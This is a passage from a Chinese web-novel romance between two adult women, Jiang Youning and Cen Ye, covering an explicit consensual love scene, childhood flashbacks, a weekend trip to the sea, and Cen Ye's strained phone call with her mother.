在国外聚会的时候也这样惬意吗? 姜又柠认真盯着她看,陷入了猜测当中,再次望向女人眼睛的时候,就跟她的视线对上了。 “看我多久了?” “一直在看你呀!”姜又柠毫不犹豫地承认了。 反正她现在不用隐藏自己的心意,她想看多久就看多久。 岑曳脸上的笑意加深,“一会儿我们早点回家?” 姜又柠一下子就能懂她心裏在想什么,“我想多泡会儿。” “行。”女人重新闭上眼睛,心情始终不错。 这才是她想要的生活。 温度太适宜了,姜又柠险些睡着了。 一个多小时过去,她被岑曳喊醒了,两个人冲了个澡换上衣服就准备回家。 隔壁私人汤泉挂了个‘请勿打扰’的牌子,怕裏面正在发生特殊情况,姜又柠给江诗文发了条消息,等了几分钟之后跟岑曳就一起回家了。 开了门,玄关处,姜又柠左脚踩右脚脱掉鞋子,立刻就被女人抱住拥吻。 她裏面套了件套头的薄毛衣,岑曳嫌麻烦,抬手就脱掉了。 但没能彻底解脱束缚,毛衣挂在了脖子上,蒙住了姜又柠的眼睛。 什么都看不见了。 岑曳在加速蔓延她的感觉。 女人落下的每一个吻和齿痕,都充满了令人颤栗的火苗。 姜又柠一双手朝前胡乱地抓着,触碰到手软下狠手捏了下,反手就被女人锁在背后禁锢住无法乱动了。 她忍不住挺起胸脯,像是在主动送上去。 吻肆无忌惮地到处落下,点燃了每一寸肌肤的绯红。 倏地,她的双手松开了一分钟,裤子就被女人拿在手裏,将她的手在背后打了个死结。 这该死的被治好的强迫症! 之前这个毛病虽然给她带来了延迟满足,但也给了她很多次缓口气的机会。 现在倒是根本没有任何逃脱掉的契机了。 姜又柠反抗的呜咽声都被埋在了毛衣裏,岑曳拽下来对着她的脸,笑眯眯的,“今晚不是说会听我的话?” 姜又柠瞪她一眼,刚准备说话嘴巴就被女人啄了下。 亲吻如同蜻蜓点水,转瞬即逝。 她再次试图说话,又被女人啄了下。 第三次、第四次…… 姜又柠终于被磨得没了脾气。 岑曳把她抱在了沙发上,撑在她双腿中间。 上半身被她压着动弹不得,双手也被裤腿捆得死死的,她现在就像是砧板上的鱼,任人处置。 岑曳的手指探了下便收了回来,指腹轻轻碰了下她的下唇,“老实了?” 姜又柠抿唇,别过头不说话。 女人将她的脑袋摆正,“乖一点。” 姜又柠咬唇不语,脸颊烫到爆炸,“你能先把我的毛衣脱下来吗?这样好像围脖买大了……” “初冬给小猫买围脖不是很正常吗?” 姜又柠气得用脚踹她。 “腿也不老实?” 仅仅被威胁了一句,她就不敢再乱动了,只能用一双湿漉漉的大眼睛恶狠狠地瞪着面前的女人。 手指再次沾了下,指腹在她的舌尖上反复涂抹。 姜又柠呜咽出声来,明明什么过分的都没做,她就羞耻得快要死掉了。 “好了,现在轮到我了。”岑曳跟她舌尖勾缠,交换了津液,随后便倾身吻她。 姜又柠的唇齿内还残留着香甜的气味,同时感受着女人的吻。 分不清是树影的摇曳,还是桌上杯子中的水晃个不停,她什么都看不清楚。 眼前的一切都蒙上了一层水雾。 真实又失控,温度过于高了,还像泡在温泉馆,她还在坐在湿漉漉的岸边,肌肤上满是细密的汗。 可一切的一切都让姜又柠沉迷,过分喜欢。 她贪恋岑曳细密的亲吻和吮吸,沉醉于女人的怀抱,真想永远都这样美好地持续下去。 人类最原始的气息,比世界上任何味道都要美味,比青柠味儿的手工皂都要令人安心。 岑曳解开了她的双手,拿掉了她的毛衣围脖,跟她一起挤在沙发上,同盖着一层薄薄的毯子。 “冷吗?”女人问她。 “有点。” “那我再去拿条毯子?”岑曳说,随后又改口,“抱你去床上休息吧。” 姜又柠摇摇头,侧躺着抱住她,“抱紧点就不冷了。” 她有一种错觉。 以前跟岑曳约定好一起攒钱买房子的时候,她幻想过在辛苦攒钱的前期时间,她会不会跟岑曳一样住在狭小的出租屋裏,两个人就这样紧紧抱在一起,为了不让任何一个人从床上掉下去。 她的想法总是天马行空的,万一她们没有太多钱,也租不到好的房子怎么办? 但只要能跟岑曳在一起,好像干什么都不觉得委屈。 可后来跟岑曳分开了,她住得也不错,生活裏却充满了各种委屈。 “姜又柠。” 姜又柠愣了下,没想到岑曳会在这种情况下喊她的大名。 “要是我现在还没回国的话,你会怎么办?” “能怎么办,你要是一直不回来,我还跟以前一样,过自己的生活呗。” “不是一直不回来,是如果回来得晚一些。”岑曳耐心地纠正她。 她在总部的时候,始终在等一个合适的时机。 总部那边她站稳脚跟很快,又有岑千兰撑腰,摆在面前的都是机会,只要能够抓住一次,她在工作上想要的就能瞬间得到了。 可她最想要做到的事情,却找不到任何一个机会。 她没有任何联系姜又柠的借口,连回国的机会都少得可怜。 回来得早一些,姜又柠面试的时候看到她是总监,会不会就拒绝面试了? 回来得晚一些,姜又柠是不是真的就开始跟颜歆发展关系,甚至已经成为情侣了? 姜又柠是孝顺的孩子,这一点她比任何人都清楚。 而且又发生了分手这样的事情,她一定对姜鸿英言听计从。 “我没想过……”姜又柠沉默了好久才回答她。 她从来不敢去设想关于岑曳的任何一个可能。 岑曳在总部一定会发展得很好,这也是她想要的。 为了爱情放弃自己的前途,这不是值得炫耀的事情。 “在国内的时候从来没想过我吗?” “你问过我这个问题了。” “之前你没有告诉我实话。” 什么不想,什么只有一点点想,她不信。 “想。”姜又柠埋在她的胸口,鼻子酸酸的,“一直都很想你。” 但想她的时候总会伴随着酸酸涩涩的眼泪,想了也是白想,后来她就学会了如何在岑曳不在的情况下,缓解自己的情绪。 当掌握了控制情绪的能力,她的童真就不在了。 但她发现,岑曳一出现,她就再次失去了这个能力,甚至变成了负数。 怎么一看到岑曳,她就会有满肚子的委屈想要告诉她呢? 女人闻言,重新亲吻她的唇,像是在自责,又像是认错,动作轻缓柔和,满是缱绻爱恋。 吻慢慢升温沸腾,逐渐变得热烈。 氧气再次被点燃,将这一晚烧得很长很长- 难熬的一夜,连梦裏都是岑曳亲吻她的样子,意乱情迷。 迷迷糊糊之间,姜又柠听见清理沙发的皮质摩擦声、浴室的水流声和闷热的空气、味道清新的床单和女人掌心的濡湿…… 太多地点冲进她的脑子裏,占据了她的每一寸神经,就连她的梦裏都不肯放过,哪裏都睡得大汗淋漓。 姜又柠醒来的时候已经十二点了,连翻身的力气都变得软绵绵的。 饭也不想吃,每次睡觉越睡越不清醒的时候,她就只想吃流食,躺在床上张开嘴咀嚼吞咽就好了,一点儿都不麻烦,就是味道大概差点儿。 她又睡了过去,最后还是两点的时候被岑曳喊起来的。 饭菜热了两三遍,都没能等到这位祖宗起床,她真担心她饿坏肚子。 “吃了饭再继续睡。” 姜又柠用被子蒙住脑袋嫌她吵,又被岑曳把被子拽下来。 女人撑开她的眼皮,“醒了没?真跟小猫一样,睡觉翻白眼?” “我是在瞪你。” “行,边吃边瞪。”岑曳把她扯起来抱着进了浴室。 挤了牙膏给她刷牙,姜又柠真就坐着一动不动,连支撑自己的力气都不愿意有。 岑曳扶着她的腰要她坐稳,姜又柠只让自己的耳朵认真工作。 要她张嘴她就张嘴,要她漱口就漱口,最后还要岑曳给她拿杯子吐进去。 “懒啊你。”岑曳语气宠溺又无奈,用湿毛巾给她擦了好几遍脸,终于看她懒洋洋地张开了眼睛,“清醒了吗?” 姜又柠嘴硬道,“……没有。” 她的脸又被湿毛巾擦了一遍,姜又柠刚想继续反驳,就意识到她再反抗岑曳还会用同样的招数对付她。 于是她不情不愿道,“清醒了。” “那眼睛还闭着?” “我不想看见你。” 岑曳忍不住笑,“嗯,跟昨晚一样,也是因为害羞吗?” 姜又柠听得害臊,推她一把,自己跳下洗脸池快步去了餐桌那边。 她吃着饭给江诗文发了微信,问她昨晚几点回去的。 那边这次秒回。 【江诗文:不知道,一醒来就在家裏了。】 【姜又柠:……温泉馆的空气裏难道藏了安眠药吗?】 【江诗文:哎呀,你非要我跟你说得那么清楚吗!!】 她很快转移话题,发过来一迭正方形折纸。 另个家裏,因为两个人都不会做饭,所以点了外卖。 饭后庄玟坐在地上,看着江诗文把昨天买的衣服和鞋子试了一遍又一遍。 “让我看看你拍的照!”江诗文仔细瞧了瞧,意外的,照片拍得很好看,“你之前给别人拍过照?” “没有。” “那拍得这么好看?” “是你好看。” “你现在这样真让人不太习惯。” 庄玟扯扯唇,没有解释。 顺着江诗文说话这个方式要比过去轻松太多了,因为江诗文也不藏着掖着什么,性格很直白,她跟着她的话往下夸就好了。 “我昨天路过精品店,买了折纸,你要不要学?”江诗文给她拿出一张大红色的纸,自己挑了个粉色的,还把星星罐打开,“我教你迭千纸鹤吧,玫瑰花有很多褶皱,你应该学得会很艰难。” “不试试怎么知道有多简单?” “你真自信。”江诗文吐槽她一句,表面上说着教她迭玫瑰花,最后还是按照千纸鹤的步骤来了。 反正庄玟也不知道开头是怎么迭的。 最后千纸鹤初成形状的时候,庄玟反应过来了,但也没反驳,“这玫瑰花长得挺像鸟的。” “……”江诗文捂住她的唇,“别说话,你的上班人格又冒出来了。” 庄玟按照她的手法,一手拽住头,一手拽住尾,千纸鹤没能成功飞起来。 “你拽得太死了。”江诗文凑过去脑袋,包裹住女人的手,认真指导她。 她脸蛋皱起来,模样比工作时还要认真,“你怎么比小学生还要笨啊!” 庄玟闻言,蹙眉不满,但还是收敛了情绪,“你教我这个,我没什么能教你的。” 江诗文意外她的话,仔细想了想,“可你在工作上很厉害啊,上次你改的策划案就很好,虽然你就是最后把关方案的人……” “你不是很讨厌工作?” “每个人都说自己讨厌工作,但不还是每天按时上下班,为了赚那么点全勤辛辛苦苦奔波吗?” “你跟她们不一样,你没负担。” “但‘讨厌工作’这句话的性质是一样的,只是一种发洩压力的方式。” 庄玟细细琢磨了这句话,笑了下,“这话还挺有道理的。” 江诗文看着她的脸,发现女人认真笑起来还挺好看的,但她不乐意直白地夸她,“庄玟你刚刚笑得没之前那么难看了……” 没工作时被蠢人气笑时的嘲讽,也没故意去学岑曳温柔的笑,现在的庄玟就是下意识的,从内心发散出来的笑容。 女人闻言敛了笑,又被江诗文用手指撑起两边的嘴角,“干嘛?夸你还不乐意啊?” 庄玟往后撤了下,江诗文没能预料到她这个动作,身子跟着往前倾,两个人就这么摔在了一起。 江诗文没急着起来,她的牙齿磕到了女人的下巴,着急地去看她,“疼吗?你干嘛突然躲?” 女人手指抹了下下巴,指腹捻了捻没说话。 她看见江诗文眸光裏别扭的担忧,淡淡挪开了视线,最后目光所及之处,是茶几上两个并排放着的千纸鹤。 一个是大红色的,一个是粉色的。 虽然大红色的千纸鹤歪歪扭扭的,但粉色的那只还是侧着脑袋倚在了它身上- 饭后,客厅的沙发早已经清理干净了。 姜又柠找了个电影,岑曳抱着她,两个人黏黏糊糊地躺在沙发上一起看。 昨天去纪念品店遇到了大学室友,所以她们之间的联系也多了起来。 【其实我昨天还能认出你姐姐是因为有一次我在校门口碰见她了,还跟她打了声招呼,但是她跟我说,让我别告诉你遇见她的事儿。】 姜又柠迟疑了下,转头偷偷瞄了眼女人的面容,发现她在认真看电影之后才把屏幕侧了下,挡住了上面的字。 她又问室友什么时候的事情。 【大四上学期吧,咱们宿舍不都忙着找实习吗?就我拎着巧克力回宿舍那次,其实那巧克力是你姐姐让我拿回去的。】 【你还记不记得,你吃一口就哭了,我就更不敢承认是你姐姐拿来的了,就说是我一个朋友送的。】 “聊什么呢?”耳朵倏地被女人捏了下,姜又柠吓得把手机按在胸口,岑曳笑了笑,“瞧把你吓得。” “我自己的小秘密,你不准看!”姜又柠光明正大地挪下了上半身,这下屏幕彻底消失在了女人的视线范围内。 她又问室友岑曳还说什么别的了没有。 【就问了问你最近情况怎么样,情绪好不好什么的,我就说普本不好找工作,最近大家都因为找实习的事情忙得焦头烂额的。】 【我还跟她说了你特别想去的那家公司,就你校招进的那家,后来你还真进去了!是咱几个室友裏面前途最好的了!当时大家看着你的offer,那叫一个羡慕呀!】 一个想法逐渐在姜又柠脑子裏成了形。 她大学过得也挺散漫的,普通本科别说什么参加竞赛了,连报名都没人通知,也没人脉去找信息,全凭自己在网上搜资料。 姜又柠也没什么追求,工作赚的钱能应付吃喝就够了,况且她物欲也不高,所以她心态一直挺好的。 校招能进大公司,那是她命裏自带的,属她运气好呗。 现在看来,应该还是因为人脉…… “岑曳。”姜又柠放下手机,喊她。 “怎么了?”女人的视线从电影上挪开,认真看向她。 “我们分手之后,你回来过吗?” 岑曳沉默了几秒钟,“……因为工作原因回来过几次。” “没想着见我吗?” 岑曳淡淡挪开视线,“……想过。” 也努力过,尝试过。 去校门口的那几次,她没有站在熟悉的树荫下,反而换了个隐蔽的位置。 她不清楚姜又柠的课表,所以只能在校门口漫无目的地等。 如果跟姜又柠见到的话,会是什么状况呢? 欣喜,意外,还是依旧发生一次仇人般的争吵? 岑曳设想过很多次在校门口重逢的场景,她知道自己没有做好准备,可她还是来了。 但她一次都没有见到过姜又柠,唯一只有一次见到过她的室友。 幸运只小概率地降临在了那一天,于是她抓住机会问了姜又柠的情况,要室友把姜又柠爱吃的巧克力拿回去分享,同时也得知她过得很充实又紧张。 姜又柠不再伤心,而是往前看,忙碌的一切不是为了感情,而是为了自己的生活过得更好。 只知道这些就足够了。 那段失败的感情没有摧垮她,岑曳很庆幸也很自责,但那个时候的她们根本没有任何复合的可能。 她尚未在总部立足,姜又柠尚未在社会上找到自己的生活节奏,那不是个合适的重新见面的时机。 期待见面的想法逐渐被理智压过去,后来总部项目一个接一个,她忙得脚不沾地,再也没了回国的机会。 “我校招进大公司的事情……” “是我。”岑曳没想着瞒她,“我想让你过得轻松一些,但后来我不知道你因为工作生了那么多次病。” 早知道她就不听姜又柠的想法了,她会给她找国内最轻松的公司,高薪且不用加班。 她可以有足够的休息时间去忙自己喜欢的事情,而不是将辛苦工作赚来的钱全都送给了医院。 “但我学到了很多,所以后来才能被招进我们部门的。” 虽然那个时候部门没有被总部重视,但招聘条件还是高得吓人。 岑曳嘆了口气,重新将她抱进了怀裏,“分别的几年,我们柠柠辛苦了。”—— 作者有话说:我们岑姐超爱的[奶茶][奶茶] 第59章 从小到大, 姜又柠还挺挑食的,但唯一爱吃的巧克力没变过,就是榛果黑巧。 岑家人都不是小孩子, 对于零食嗤之以鼻,那些客人都精着呢,才不会送些零食, 最开始都是些珠宝、红酒…… 岑千兰并不避讳聊天内容,每次在家裏待客的时候, 也不会去书房, 总是三三两两坐在客厅的沙发上聊。 这个时候姜又柠跪地趴在茶几上写作业的特权就没了。 餐桌擦得干干净净的, 她还没有被允许去占用那张桌子写作业, 所以便蹲坐在角落裏,用并拢起来的双腿当作架子,把作业本放在腿上,字写得歪歪扭扭。 岑千兰喊她去餐桌坐着写她才过去, 手边放着洗干净的车厘子, 问她要不要吃。 姜又柠舔舔嘴巴,吞咽了下口水,摇摇头拒绝了。 客厅再次陷入了诡异的和谐当中,姜又柠本来写作业就不太认真,而且她又怕岑千兰这个女人, 所以好久没写进去几道题。 没过多久岑曳手裏拎着一大袋零食回来了。 这是她们上周商量好的, 今天她调了课, 回来得晚,要是她回来之后姜又柠已经把作业写完了,那她就给她买一大袋零食。 “买了什么一大袋子?”岑千兰给客人介绍着岑曳,语气裏满是骄傲。 “给柠柠买的零食, 她喜欢吃。” 岑千兰皱皱眉头,“下次买些好的,吃垃圾食品可不会养身体。” 客人有眼色地夸赞了岑曳,听出了母女二人并没有把姜又柠放在家政女儿这个地位上彻底无视掉,便对于餐桌上那个背过身子认真写作业的小女孩多看了几眼。 姜又柠的耳朵竖起来,认真听着装满了零食的袋子发出的声音。 作业写完还看不到影儿,零食的味道都要飘进鼻子裏了。 姜又柠拿出了课堂上写完的练习册,翻开摆在了左上角,小声告诉岑曳,“我只写完了那一本,今天的作业有点难。” 岑曳坐下来,将零食放到一边,有模有样地检查了下这个练习册,“做得不错嘛,全对了。” “是,是吗?”姜又柠笑得格外心虚。 “这题怎么做的,你跟我讲讲?” 作业本上立刻出现了一道长长的线,姜又柠挠挠头,“怎么还要我跟你讲?你是大学生了,你肯定会呀!” “忘记了,你帮我复习一下。” 姜又柠盯着最后一道大题,努力回忆着上课老师是怎么教的。 她其实上课就没听懂,老师说了,这么难的题考试的时候很少出的,所以不会也没关系,但能弄懂当然最好。 这一道大题才八分,她才不是那种会为了八分拼命的小孩子,她前面简单的题还会因为粗心丢分呢! 考试的时候好不容易做完了,应该趁着安静的环境用剩余的时间好好休息一下! “刚做完的就忘啦?”岑曳揉了揉她的脑袋,被姜又柠打掉了手。 “你打扰到我的思路了……” “哦?你还有思路啊……”岑曳悠悠看向她,姜又柠硬撑着跟她对视了几秒钟,很快便败下阵来。 “……我今天的作业一个都没有写完。” 岑曳长嘆了一口气,姜又柠还以为她会生气,小心翼翼地扯了扯她的袖口,“我一定能写完的!” 她眼馋地看了眼旁边满满的零食袋子,“零食……零食我今天就不吃了……” “我陪着你写,我答应你给你买零食,我做到了,你答应我的作业当天完成是不是也应该做到?” 姜又柠点点头,知道自己犯错,有点委屈地鼻子发酸。 “我不走,陪着你呢,不委屈。”岑曳拍拍她的胳膊,“认真看题。” 在岑曳的陪同和指导下,姜又柠完成作业的速度要明显快了好几倍。 时间缓缓流逝,旁边茶几上的谈话也结束了。 岑千兰站起来送了客人出门,转身道,“你们两个也早点睡,作业写不完就不写完了,现在的学生压力是大。” “妈,我小时候作业没写完你可不是这么说的。” 岑千兰蹙眉,“这能一样吗?你为什么不写作业我清楚得很,有点脑子全想着跟我作对。” 岑曳笑了下没说话。 岑千兰转身上楼,临走前又道,“刚送来的东西你挑些喜欢的,剩下的还都处理掉吧。” “跟你打交道的人,哪儿会送我喜欢的东西。”岑曳悠悠说着,也没人给她搭话了。 每次都要她处理这些毫无价值的礼物。 姜又柠手裏握着笔,看着岑曳把茶几上精致的礼品袋挑挑拣拣全都放进了客厅的大箱子裏。 “要是裏面能变出我爱吃的零食就好了……” “也能啊。”岑曳重新坐下,“要不我们打个赌,下周你写完作业的时候,去箱子裏找找有没有自己爱吃的?没有的话我下周末带你出去玩两天,有的话你要学着自己独立把作业完成。” “来家裏的阿姨怎么会买零食呢……” “你就说赌不赌。” “赌!”姜又柠重重点头,反正怎么着她都不亏。 下周她还真在箱子裏翻找出了一堆零食,于是把自己乖乖完成的作业给岑曳发了过去,得到了吃零食的机会。 或许是第一次尝试的味道太深刻,她一下子就喜欢了榛果黑巧。 再后来,家裏来做客的人都开始顺道带了些零食。 姜又柠大言不惭道,“这个百宝箱应该跟我姓啊!叫姜宝箱!裏面装的可都是我的宝贝!” …… 电影终于放完了,姜又柠盯着片尾,只看了前面一小半,后面发生了什么故事她全忘了,脑子裏都是过去的回忆。 姜又柠忍不住去幻想岑曳站在校门口的样子。 还没分手的时候,她亲眼看见过很多次。 两手总是拎着满满的东西,每一个都是她喜欢的。 姜又柠便拿自己的校园趣事跟她交换,她用她的精神食粮去换取物质食粮。 没几天岑曳拎来的物质食粮就更多了。 哎呀,这个女人比她还要贪心呢。 不过偷偷去找她的时候脸上会有笑容吗? 她不知道。 “好久没吃巧克力了……” “榛果黑巧?”岑曳问她,“还要那个牌子吗?小时候记得你很多口味的巧克力最爱吃,但只有这个最喜欢。” 姜又柠点开手机,找到巧克力牌子的官网,“居然比过去涨价了这么多!” “想吃就买。”女人跟过去的语气一样宠溺,揉了揉她的发顶。 姜又柠顺势用脑袋去蹭女人的胸,“我已经有大概两年……?没有吃巧克力了。” 巧克力是她最喜欢的零食,所以裏面藏了太多她跟岑曳的回忆。 分手之后,她只吃过那一次,室友从岑曳那儿拎回来的,自己再也没有买过了。 记忆中的味道明明是苦中带甜的,可那次她却什么甜味儿都没能尝出来,还吃了一嘴眼泪的苦涩。 后来她逐渐意识到,她喜欢的不是榛果黑巧的味道,而是过去吃的时候,每一颗裏面都含了岑曳掺进去的甜蜜。 岑曳在分类裏找了找,没能找到过去那个口味,“榛果燕麦黑巧?榛果威化黑巧?” 怪不得价钱升级了呢,原来口味也升级了。 “嗯,包装也变了。”姜又柠这才认真去看信息,“那就不吃了,反正也尝不出原来的味道了。” “培养个新的零食喜好?”岑曳勾勾她的下巴,像在挠一只小猫。 “泡面。”说完脑袋就被拍打了下,姜又柠还坚持道,“吃泡面省钱嘛,成年之后才意识到赚钱那么不容易,我之前吃零食都吃了多少个w了!” 现在想想,她小时候真是被岑曳宠坏了,在吃穿用度这方面简直是毫无节制。 岑曳给她买衣服买零食,还要姜鸿英做小孩子爱吃的菜肴让她长个子补营养。 她真是没脑子啊,一点儿都不知道心疼钱。 明明没到岑家的时候,她买包辣条都心疼得很呢,后来就变得大手大脚了。 “你这张嘴,还值得很多个w.” “是吗?”姜又柠仰起脑袋看她。 岑曳垂眸,瞧她实在可爱,忍不住落下轻吻,“还值得很多个吻。”- 下周上班的时候,江诗文来得很早,看见姜又柠落座,便鬼鬼祟祟从抽屉裏拿出了一个白粉色的盒子。 “柠柠,这个礼物给你。” “为什么突然送礼物?”姜又柠疑惑道,打算拆开的时候就被江诗文拦住了。 “你回家再拆!”江诗文说,“婚期的日子定了,12月13号,我还得提前半个多月跟庄玟回去看场地呢。我们都是将近两年的好朋友了,你生日也不要我的礼物,每次都是我请你吃海鲜大餐,还没有正儿八经送过你礼物呢。” “啊……原来是道别礼了,那你不是两个星期左右就要走了?”姜又柠看了下日历,有点伤感,“不过我还没想好买什么庆祝你们结婚呢。” “我跟庄玟结婚,还是不要庆祝了吧……等我二婚找到真爱,你到时候再帮我庆祝!” “什么玩笑都开啊你。”姜又柠道了谢,将盒子跟自己的包放在了一起,以免下班回去的时候忘记了。 她敲着键盘,尽管是新的周一心情也很不错,“看你现在对庄玟的态度比以前好多了,我记得你俩以前一见面就要吵架,我坐你俩旁边根本都不敢说话。” “她现在挺会哄人的呀。”江诗文冷笑一声。 真有养宠物的天赋,一想到这一点她就生气。 不过她也不把庄玟当人,毕竟她接触的人类当中没有这么奇葩的。 姜又柠对于这句话表示怀疑,这两个人应该是习惯某种独特的相处方式了。 “我结婚之后应该会在国外多待一段时间陪陪我妈,等我下定决心了我就回国内生活,到时候在你隔壁买套房子呀!” “我哪儿能买得起房子……”姜又柠倏地停下。 ……不过她现在好像还真有一栋房子能住。 “岑曳姐买得起,你住她的!” 姜又柠被说中,脸色不太自然,立即放弃了这个话题投入到了工作的怀抱。 晚上她把礼物拆开,看到是一个小玩具,还能远程控制,她庆幸自己拆的时候岑曳不在她身边,不然当晚就要拉着她用。 姜又柠偷偷把盒子放进床头柜的抽屉裏,之后在微信上轰炸了江诗文好几条消息怒斥这个礼物,得到了对面长达一分钟的纯享版哈哈大笑声。 接下来的一周时间都很忙,每个人都有自己的事情要做。 她跟姜鸿英说了江诗文之后要去国外结婚的事情,姜鸿英熬了三天夜织了一条红色的围巾,还在上面绣了个鸳鸯。 起早贪黑的,一有空闲时间就去织,就怕江诗文走了赶不上给她。 江诗文收到的时候,差点哭出声来,还说自己好久都没吃到姜鸿英做的饭菜了,也好久没去集体宿舍看她了。 之后两个人找了个时间一起去了趟姜鸿英那儿,几个人围坐在一起,聊了好久的天。 新项目已经敲定,不过正式提上日程的时间因为婚期延后了,岑曳得腾出时间去参加婚礼,但她对于项目的每个细节都要亲自把关,不怕慢,就怕出错。 而且她跟姜又柠商量好了,这周末要一起去看海。 周六的早上,两个人踏上了飞机。 好久都没有出门旅游,姜又柠兴奋得很,叽叽喳喳地给岑曳分享自己做的攻略。 她认真听着,一路都在夸赞她做得好。 姜又柠两排牙齿根本合不上,对着窗外的白云拍拍,调整了好几个角度。 岑曳最近工作辛苦,还简单地补了个觉。 姜又柠拿出手机偷拍女人的侧脸,正脸,还有五官。 拍下额头照,她便发一条朋友圈。 【某人的额头。】 拍下鼻子的照片,她又发。 【某人挺拔的鼻子。】 挺拔到还没怎么磨她就潮/吹了好几次。 后面还有一连串朋友圈。 【某人的左脸颊。】 【某人的右脸颊,好像不太对称。】 【某人的下巴,尖尖的,想啃。】 【某人的头发丝,好香,是我推荐的洗发水哦!】 【某人的衬衫,用青柠味儿的手工皂洗的!喜欢喜欢!】 … 姜又柠翻看着朋友圈,忍不住捂着嘴巴偷乐。 飞机上反正没网发不出去,她怎么丢脸都是自己一个人在看。 岑曳眯着眼睛,根本就没睡着,但没戳穿她,只是无奈地扬了扬嘴角。 没人跟她讲话她好无聊,于是继续进行着折腾岑曳这个行为。 她拍了一张比耶照。 【某人和某人的某人。】 看着始终转圈圈的网路,姜又柠放心得很。 她开始进行最后一项内容—— 偷亲岑曳! 姜又柠调整好角度,嘴巴凑近了女人的脸颊,用相机对准之后,刚准备按下快门键,岑曳就侧了下头,吻住了她的唇。 她吓得躲了下,又怕发出太大的反应打扰到别的乘客,只能捂着嘴巴低声道,“你什么时候醒的!” 岑曳想了下,“刚刚。” 她咬重了字词,“你准备偷亲我的时候。” 姜又柠看了眼时间,“还有半个小时,我睡会儿。” 岑曳笑而不语,只是将她身上快要掉下去的毯子帮她重新捞了回来,严严实实地盖好了。 到达的这座城市雪下得很早,温度也很低,海边是漫无边际的雪景,是当下最热门的旅游城市之一。 刚下飞机,岑曳就要姜又柠套上棉袄,打了车带着她回酒店。 姜又柠的手机在飞机上看了一路,早都没电关机了。 她拿出充电宝,充了会儿电重新开机。 微信收到了来自江诗文的消息轰炸。 【江诗文:我看你跟岑曳姐才是打算领证结婚的吧?】 【江诗文:咱俩虽然好久没一起聚会出片了,但你朋友圈至于吗?!!】 【江诗文:刚吃了午饭就又被人逼着喂狗粮了……这很难评。】 【姜又柠:什么朋友圈,我刚下飞机。】 对面立马甩来了几张截图。 哪怕是只看小图她都看出来那是什么了。 这将近二十条朋友圈不是她在飞机上发的吗! 没有网怎么发出去的!!! 姜又柠点进去一看,发布时间差不多都在五分钟前。 该不会是手机开机联网了之后自动发布了吧!! 糟了…… 一大堆评论都在好奇她的感情状况,还用各个五官照拼成了一张岑曳的脸,但这图片看起来有点奇怪。 姜又柠一条评论都不想回复,她一边按下删除一边看向了岑曳,余光注意到女人打开微信的时候就立马抢过了她的手机。 岑曳心领神会,悠悠道,“照片拍得很不错,我都挺喜欢的。” 姜又柠咬牙切齿的,快要被自己蠢死了。 她现在很想命令朋友圈的所有人!立马忘记这一切!—— 作者有话说:小姜可爱[爱心眼][爱心眼] 第60章 酒店是个双人套间, 还是姜又柠硬拿过岑曳手机订的,不准她订大床房。 “行,折腾乱了也省得换房了。”岑曳随口丢下一句话, 羞得姜又柠用力掐了下她的胳膊。 啧,这会儿的劲还没有在床上大。 窗帘拉开之后,外面的雪景可以一览无余。 客厅暖气开得足, 姜又柠脱掉了棉袄,只穿了件薄薄的羊毛衫, 新奇地研究着房间内的布置。 “还有当地的糕点哎!”姜又柠仔细瞧了瞧包装, “不知道味道怎么样!” 铃声响起来, 是个视频通话, 岑曳看了眼,犹豫了下挂掉了,问,“想出去吃吗?” 姜又柠摇摇头, “坐飞机好累哦……” “嗯, 你看看周边的餐厅有什么想吃的,我出去帮你打包回来。” “不用啊,你跟我一起点外卖嘛!” 姜又柠也心疼她舟车劳顿,不愿意她单独再去外面跑。 “多数外卖都不干净,我去帮你打包当地的餐厅。”岑曳的态度难得的强硬, “你累的话再睡会儿, 我回来喊你。” “……好吧。” 岑曳点点头, 很快就去了姜又柠转发过来的一个餐厅。 她打车过去,跟店员说明了打包的来意,就在空位子上等。 想到刚才在酒店的那个视频电话,岑曳思索了下, 拨了电话回去。 ——“没在忙吗?” “周末休假。”岑曳语气平淡,“你打电话有什么事儿吗?” ——“没什么事儿,妈就是看你前段时间工作太忙,不方便打扰你,项目稳定了就想着来看看你的情况。” 岑曳望向窗外白茫茫的景象,手指在桌面上频繁地点,“庄玟办婚礼的时候我会回去的,你还想问我什么吗?” 电话那边沉默了很久,但没有挂断。 ——“这段时间你辛苦了,国内部门人员懒散,我听总部这边负责对接的人说了,你做得不错,各方面工作部门做得都挺及时的。” “嗯,没给你丢脸。” 这是岑千兰从小到大都要她做到的事情,把辛苦藏在人后,把荣耀表露出来。 母女之间的沟通从未如此艰难过,这是岑曳回国之后,她们之间打的第一通电话。 岑千兰为什么突然联系她,岑曳很清楚,也不想问得太明白。 如果不想关系越来越恶化,总得有一个人主动服软,但她不会成为那一个人。 ——“你这话说的,不管你做什么都是妈妈的好女儿。”岑千兰笑了下,“我就是不想让你过得太辛苦,总部这边高层一直很稳定,所以庄氏才会想着用联姻的法子加进来。可妈妈给你铺好路了,你什么苦都不用吃的。” “你要是还跟我讲这些没意义的话,那我就挂电话了。” ——“等一等,妈是想问你,庄玟跟诗文没几天就会回来,你要不跟她们一起早点回来。妈知道你不喜欢过度加班,所以趁着这个机会,你也回来好好休息一下。” 岑曳嘆口气,“我在国内休息得挺好的,工作累的话我自己也会调整。” ——“你虽然是部门领导,但毕竟要配合总部这边的工作,你回来总部这边,所有的安排才能以你为准。” 饭菜被打包好送过来,岑曳道了声谢拎着走出店门,拦了辆出租车。 “我既然来国内就是想长期发展的,而不是把我努力稳定下来的部门转手让给别的关系户。” 只要总部有长期在国内发展的想法,她作为第一批开拓市场的人,以后绝对是大功臣。 但这只是说服岑千兰让她留在国内的理由,她才不管总部那边什么安排,她回来就是为了见姜又柠,为了跟姜又柠复合。 “妈,你也是从底层拼上来的,应该能懂我现在的状况,国内的部门不就是几十年前的总部吗?” ——“这怎么能一样呢?”岑千兰劝说她,“总资源和分资源的重要性不能混为一谈。” “小时候你跟我讲,沟通要有重点,现在要打破自己的原则,把我根本不乐意的想法翻来覆去地跟我说吗?”岑曳说,“这确实挺浪费时间的。” 酒店距离餐厅不远,没几分钟就要到了,岑曳不想再进行这个没有意义的对话了。 ——“你就这么不想跟我说话?就为了姜家那个小姑娘?” “是。”岑曳承认了,“我的想法从来都没变过,你该自己想一想,你做的一切真的是为了我好吗?” 酒店客厅,姜又柠蜷缩在沙发上,身上盖着自己的棉袄,睡得正香。 岑曳将她喊醒,她眼睛还没睁开就吸了吸鼻子,“我闻到了海鲜大餐的味道!” 